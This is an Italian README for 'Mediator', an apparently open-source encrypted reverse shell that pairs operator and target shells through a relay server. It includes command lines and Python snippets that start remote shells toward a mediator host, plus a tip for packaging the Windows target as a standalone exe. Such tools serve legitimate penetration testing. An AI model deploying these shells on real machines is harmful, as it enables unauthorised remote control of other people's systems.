mediator

Mediator è una reverse shell crittografata end-to-end in cui l'operatore e la shell si connettono a un server "mediatore" che funge da ponte tra le connessioni. Ciò elimina la necessità per l'operatore/handler di configurare il port forwarding per ascoltare la connessione. Mediator permette anche di creare plugin per espandere le funzionalità della reverse shell.

Puoi eseguire gli script di Mediator come eseguibili autonomi oppure importarli per integrarli in altri strumenti di pentesting e risposta agli incidenti.

Architettura:

Ispirato dalle applicazioni di chat crittografate end-to-end, Mediator adotta un approccio unico al modello client/server di una reverse shell. Mediator utilizza:

1. Una reverse shell client
2. Un handler/operatore client
3. Un server che funge da ponte tra le due connessioni

Le reverse shell e gli handler si connettono al server Mediator con una chiave di connessione. Il server rimane in ascolto sulla porta 80 per le connessioni degli handler e sulla porta 443 per le connessioni delle reverse shell. Quando i client si connettono al mediatore, il server li mette in coda in base al rispettivo tipo e chiave di connessione. Quando sia una reverse shell che un operatore si connettono al server con la stessa chiave, il server funge da ponte tra le due connessioni. A questo punto, viene effettuato uno scambio di chiavi tra i due client e tutta la comunicazione tra la reverse shell e l'operatore è crittografata end-to-end. Ciò garantisce che il server non possa intercettare i flussi che sta instradando.

Plugin

I plugin ti permettono di aggiungere comandi extra che possono eseguire codice sull'host dell'operatore, sull'host target, o su entrambi! Consulta il README nella directory dei plugin per maggiori informazioni sui plugin.

Istruzioni:

Server

Gli script client possono essere eseguiti su Windows o Linux, ma è necessario avviare il server (mediator.py) su un host Linux. Il server è puro Python, quindi non è necessario installare dipendenze. Puoi eseguire lo script del server con

$ python3 mediator.py

oppure puoi creare un'immagine Docker con il Dockerfile fornito ed eseguirla in un contenitore (assicurati di pubblicare le porte 80 e 443).

Client

Dovrai installare le dipendenze presenti in requirements.txt) affinché i client funzionino. Puoi farlo con il seguente comando:

$ pip3 install -r requirements.txt

Consulta Suggerimenti e Promemoria in fondo per aiuto sulla distribuzione dei client senza preoccuparsi delle dipendenze.

L'handler e la reverse shell possono essere utilizzati all'interno di altri script Python o direttamente tramite riga di comando. In entrambi i casi, i client possono accettare argomenti per l'indirizzo del server e la chiave di connessione. L'uso di questi argomenti è descritto di seguito.

Indirizzo del server Mediator

Per l'uso tramite script Python, l'indirizzo dell'host mediatore è richiesto al momento dell'istanziazione:

Classe Handler

from handler import Handler

operator = Handler(mediatorHost="example.com")
operator.run()

Classe WindowsRShell

from windowsTarget import WindowsRShell

shell = WindowsRShell(mediatorHost="example.com")
shell.run()

Se si esegue uno script client direttamente da una shell, è possibile codificare l'indirizzo in fondo allo script, oppure specificare l'indirizzo del server come argomento con il flag -s o --server:

handler.py

$ python3 handler.py -s example.com

windowsTarget.py

> python windowsTarget.py -s example.com

Chiave di connessione

Quando due handler o due reverse shell si connettono al server mediatore con la stessa chiave di connessione, solo la prima connessione viene messa in coda in attesa della sua controparte. Fino a quando la connessione in coda non scade (30 secondi) o non trova una controparte corrispondente, tutti gli altri client dello stesso tipo che tentano di connettersi con la stessa chiave verranno rifiutati.

È importante assicurarsi che ogni handler utilizzi una chiave di connessione univoca per evitare una condizione di race che potrebbe risultare nell'assegnazione della shell sbagliata a un operatore.

Solo le chiavi con il prefisso "#!ConnectionKey_" saranno accettate dal server. La chiave di connessione predefinita è "#!ConnectionKey_CHANGE_ME!!!".

Per cambiare la chiave di connessione per l'uso tramite script Python, la chiave di connessione può essere fornita opzionalmente al momento dell'istanziazione:

Classe Handler

from handler import Handler

operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

Classe LinuxRShell

from linuxTarget import LinuxRShell

shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

Se si esegue uno script client direttamente da una shell, è possibile codificare la chiave di connessione in fondo allo script, oppure specificare la chiave di connessione come argomento con il flag -c o --connection-key:

handler.py

$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'

windowsTarget.py

> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'

Suggerimenti e Promemoria:

• PROMEMORIA: handler e reverse shell non verranno collegati tramite ponte a meno che non si connettano al server mediatore utilizzando la stessa chiave di connessione entro 30 secondi l'uno dall'altro.
• SUGGERIMENTO: puoi facilmente creare un exe per windowsTarget.py con pyinstaller usando il flag --onefile
• SUGGERIMENTO: per sicurezza, dovresti utilizzare una chiave di connessione generata casualmente per ogni sessione. Se una parte malintenzionata scopre la tua chiave di connessione e inonda la porta dell'operatore con essa, il tuo client operatore non sarà in grado di connettersi a causa del server che non permette connessioni duplicate, e si collegherà invece alla shell del tuo target.